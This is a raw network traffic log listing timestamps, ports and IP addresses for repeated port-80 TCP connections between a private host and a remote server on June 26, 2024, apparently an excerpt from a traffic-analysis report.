Jun 26, 2024 08:16:48.043303967 CEST	80	49741	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.044157028 CEST	49742	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.049377918 CEST	80	49742	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.049479008 CEST	49742	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.049591064 CEST	49742	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.054553986 CEST	80	49742	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.054680109 CEST	80	49742	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.158883095 CEST	49743	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.163713932 CEST	80	49743	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.163775921 CEST	49743	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.163940907 CEST	49743	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.168819904 CEST	80	49743	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.168826103 CEST	80	49743	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.169603109 CEST	49744	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.174454927 CEST	80	49744	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.174526930 CEST	49744	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.174859047 CEST	49744	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.179769993 CEST	80	49744	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.180130005 CEST	80	49744	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.283684015 CEST	49745	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.288451910 CEST	80	49745	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.288522005 CEST	49745	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.288816929 CEST	49745	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.293663979 CEST	80	49745	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.295463085 CEST	80	49745	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.296171904 CEST	49746	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.301050901 CEST	80	49746	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.301119089 CEST	49746	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.301302910 CEST	49746	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.306360006 CEST	80	49746	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.307096004 CEST	80	49746	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.423860073 CEST	49747	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.428672075 CEST	80	49747	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.428927898 CEST	49747	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.429297924 CEST	49747	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.433969021 CEST	80	49747	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.434031963 CEST	49747	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.434072018 CEST	49747	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.434248924 CEST	80	49747	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.434750080 CEST	49748	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.437469959 CEST	49733	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:48.438766956 CEST	80	49747	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.438992023 CEST	80	49747	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.439538956 CEST	80	49748	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.439654112 CEST	49748	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.439897060 CEST	49748	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.444602966 CEST	80	49748	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.444653034 CEST	49748	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.444719076 CEST	49748	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.444999933 CEST	80	49748	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.449563026 CEST	80	49748	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.449666977 CEST	80	49748	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.551079035 CEST	49749	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.556504965 CEST	80	49749	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.556576967 CEST	49749	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.556767941 CEST	49749	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.561583996 CEST	80	49749	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.562122107 CEST	80	49749	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.562932014 CEST	49750	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.567960024 CEST	80	49750	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.568080902 CEST	49750	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.568588018 CEST	49750	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.573647976 CEST	80	49750	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.573699951 CEST	49750	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.573771000 CEST	49750	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.574007988 CEST	80	49750	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.578902006 CEST	80	49750	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.578962088 CEST	80	49750	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.691251040 CEST	49751	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.697676897 CEST	80	49751	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.697798014 CEST	49751	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.697889090 CEST	49751	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.707015991 CEST	80	49751	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.707165003 CEST	80	49751	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.708565950 CEST	49752	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.714190960 CEST	80	49752	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.714270115 CEST	49752	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.714413881 CEST	49752	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.719281912 CEST	80	49752	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.719738960 CEST	80	49752	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.832577944 CEST	49753	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.837460995 CEST	80	49753	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.837548971 CEST	49753	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.837694883 CEST	49753	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.842809916 CEST	80	49753	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.842814922 CEST	80	49753	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.843616962 CEST	49754	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.848707914 CEST	80	49754	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.848839045 CEST	49754	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.849288940 CEST	49754	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.854480028 CEST	80	49754	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.854907990 CEST	80	49754	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.970858097 CEST	49755	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.976030111 CEST	80	49755	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.976094007 CEST	49755	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.976212025 CEST	49755	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.981060982 CEST	80	49755	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.981534958 CEST	80	49755	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.983891010 CEST	49756	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.989094019 CEST	80	49756	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.989168882 CEST	49756	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.989383936 CEST	49756	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.994420052 CEST	80	49756	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.994522095 CEST	49756	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.994522095 CEST	49756	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:48.994632006 CEST	80	49756	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.999501944 CEST	80	49756	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:48.999975920 CEST	80	49756	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.095802069 CEST	49757	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.100821018 CEST	80	49757	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.100892067 CEST	49757	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.101007938 CEST	49757	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.106375933 CEST	80	49757	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.111488104 CEST	80	49757	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.112226009 CEST	49758	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.117341042 CEST	80	49758	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.117422104 CEST	49758	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.117539883 CEST	49758	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.122466087 CEST	80	49758	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.127619982 CEST	80	49758	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.238605022 CEST	49759	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.247430086 CEST	80	49759	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.247519016 CEST	49759	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.247657061 CEST	49759	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.254511118 CEST	80	49759	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.254514933 CEST	80	49759	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.255671024 CEST	49760	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.264116049 CEST	80	49760	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.264204025 CEST	49760	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.264341116 CEST	49760	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.273106098 CEST	80	49760	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.273109913 CEST	80	49760	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.376980066 CEST	49761	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.382934093 CEST	80	49761	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.383146048 CEST	49761	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.383215904 CEST	49761	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.388334036 CEST	80	49761	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.390590906 CEST	80	49761	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.392970085 CEST	49762	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.398571014 CEST	80	49762	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.398734093 CEST	49762	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.398854971 CEST	49762	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.404117107 CEST	80	49762	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.404122114 CEST	80	49762	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.517419100 CEST	49763	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.523205996 CEST	80	49763	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.523272038 CEST	49763	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.523436069 CEST	49763	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.531970978 CEST	80	49763	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.532509089 CEST	80	49763	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.533438921 CEST	49764	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.539491892 CEST	80	49764	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.539726973 CEST	49764	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.539810896 CEST	49764	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.545520067 CEST	80	49764	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.547425032 CEST	80	49764	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.660684109 CEST	49765	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.666399002 CEST	80	49765	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.666496992 CEST	49765	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.666652918 CEST	49765	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.675442934 CEST	80	49765	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.675724983 CEST	80	49765	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.676520109 CEST	49766	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.683362007 CEST	80	49766	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.683434010 CEST	49766	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.683604002 CEST	49766	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.689116001 CEST	80	49766	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.689342022 CEST	80	49766	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.798768997 CEST	49767	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.809212923 CEST	80	49767	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.809314013 CEST	49767	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.809592009 CEST	49767	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.834738970 CEST	80	49767	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.835349083 CEST	80	49767	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.856225014 CEST	49768	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.861130953 CEST	80	49768	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.861203909 CEST	49768	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.861407042 CEST	49768	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.866597891 CEST	80	49768	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.867018938 CEST	80	49768	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.970777035 CEST	49769	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.975874901 CEST	80	49769	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:49.975995064 CEST	49769	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.976392984 CEST	49769	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:49.984004974 CEST	80	49769	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:50.649650097 CEST	80	49769	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:50.649722099 CEST	49769	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:50.650470018 CEST	49769	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:50.658529997 CEST	80	49769	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:50.859750986 CEST	80	49769	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:50.859827995 CEST	49769	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:50.972100973 CEST	49769	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:50.972661018 CEST	49770	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:50.977376938 CEST	80	49769	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:50.977463007 CEST	49769	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:50.978039026 CEST	80	49770	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:50.978123903 CEST	49770	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:50.980082035 CEST	49770	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:50.983382940 CEST	80	49770	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:50.983463049 CEST	49770	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:50.985208988 CEST	80	49770	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:50.987987995 CEST	49770	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:50.988663912 CEST	80	49770	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:50.989398003 CEST	49771	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:50.993002892 CEST	80	49770	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:50.994463921 CEST	80	49771	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:50.994534016 CEST	49771	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.000628948 CEST	80	49771	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.001775026 CEST	49771	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.005714893 CEST	49771	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.005894899 CEST	49771	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.013849020 CEST	80	49771	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.013870001 CEST	80	49771	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.112360954 CEST	49772	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.117202997 CEST	80	49772	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.117275953 CEST	49772	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.117497921 CEST	49772	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.128729105 CEST	80	49772	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.129085064 CEST	80	49772	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.130059958 CEST	49773	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.135183096 CEST	80	49773	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.135246038 CEST	49773	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.135463953 CEST	49773	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.140249968 CEST	80	49773	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.140662909 CEST	80	49773	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.252049923 CEST	49774	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.257144928 CEST	80	49774	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.257232904 CEST	49774	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.257417917 CEST	49774	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.262259960 CEST	80	49774	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.262510061 CEST	80	49774	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.265337944 CEST	49775	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.270380020 CEST	80	49775	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.270459890 CEST	49775	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.270596981 CEST	49775	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.275715113 CEST	80	49775	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.275721073 CEST	80	49775	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.275779963 CEST	49775	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.275830984 CEST	49775	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.280647993 CEST	80	49775	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.280664921 CEST	80	49775	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.377013922 CEST	49776	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.381999969 CEST	80	49776	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:51.382110119 CEST	49776	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.382245064 CEST	49776	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:51.387582064 CEST	80	49776	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:52.073997021 CEST	80	49776	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:52.074085951 CEST	49776	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:52.074856043 CEST	49776	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:52.081118107 CEST	80	49776	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:52.283349991 CEST	80	49776	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:52.283605099 CEST	49776	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:52.393385887 CEST	49776	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:52.393820047 CEST	49777	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:52.398746014 CEST	80	49776	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:52.398781061 CEST	80	49777	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:52.398811102 CEST	49776	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:52.398884058 CEST	49777	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:52.399224997 CEST	49777	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:52.404154062 CEST	80	49777	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.065279961 CEST	80	49777	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.065354109 CEST	49777	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.067428112 CEST	49777	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.072400093 CEST	80	49777	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.274374962 CEST	80	49777	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.274444103 CEST	49777	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.376977921 CEST	49777	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.377633095 CEST	49778	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.382766008 CEST	80	49778	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.382999897 CEST	49778	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.383158922 CEST	49778	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.385344982 CEST	80	49777	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.385417938 CEST	49777	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.388211966 CEST	80	49778	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.413036108 CEST	80	49778	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.414426088 CEST	49779	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.432677031 CEST	80	49779	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.432811975 CEST	49779	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.433111906 CEST	49779	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.441392899 CEST	80	49779	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.453032017 CEST	80	49779	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.564682007 CEST	49780	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.570564985 CEST	80	49780	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.570684910 CEST	49780	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.570837975 CEST	49780	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.575942993 CEST	80	49780	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.584552050 CEST	80	49780	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.585422039 CEST	49781	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.591120958 CEST	80	49781	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.591211081 CEST	49781	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.591562986 CEST	49781	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.596256018 CEST	80	49781	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.599126101 CEST	80	49781	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.709805965 CEST	49782	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.715342045 CEST	80	49782	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:53.715488911 CEST	49782	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.715661049 CEST	49782	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:53.720475912 CEST	80	49782	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:54.410613060 CEST	80	49782	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:54.410778046 CEST	49782	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:54.411700964 CEST	49782	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:54.416584015 CEST	80	49782	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:54.624329090 CEST	80	49782	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:54.624507904 CEST	49782	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:54.736850977 CEST	49782	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:54.737137079 CEST	49783	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:54.912967920 CEST	80	49783	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:54.913041115 CEST	49783	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:54.913249969 CEST	49783	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:54.913409948 CEST	80	49782	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:54.913516998 CEST	49782	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:54.918001890 CEST	80	49783	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:55.579189062 CEST	80	49783	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:55.579268932 CEST	49783	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:55.580048084 CEST	49783	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:55.584808111 CEST	80	49783	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:55.787115097 CEST	80	49783	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:55.787185907 CEST	49783	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:55.908179045 CEST	49783	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:55.908660889 CEST	49785	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:55.914123058 CEST	80	49785	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:55.914338112 CEST	49785	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:55.914537907 CEST	49785	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:55.914702892 CEST	80	49783	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:55.914846897 CEST	49783	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:55.919482946 CEST	80	49785	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:56.605623007 CEST	80	49785	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:56.605706930 CEST	49785	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:56.606400967 CEST	49785	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:56.611162901 CEST	80	49785	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:56.816940069 CEST	80	49785	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:56.817257881 CEST	49785	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:56.923787117 CEST	49785	80	192.168.2.6	147.45.47.155
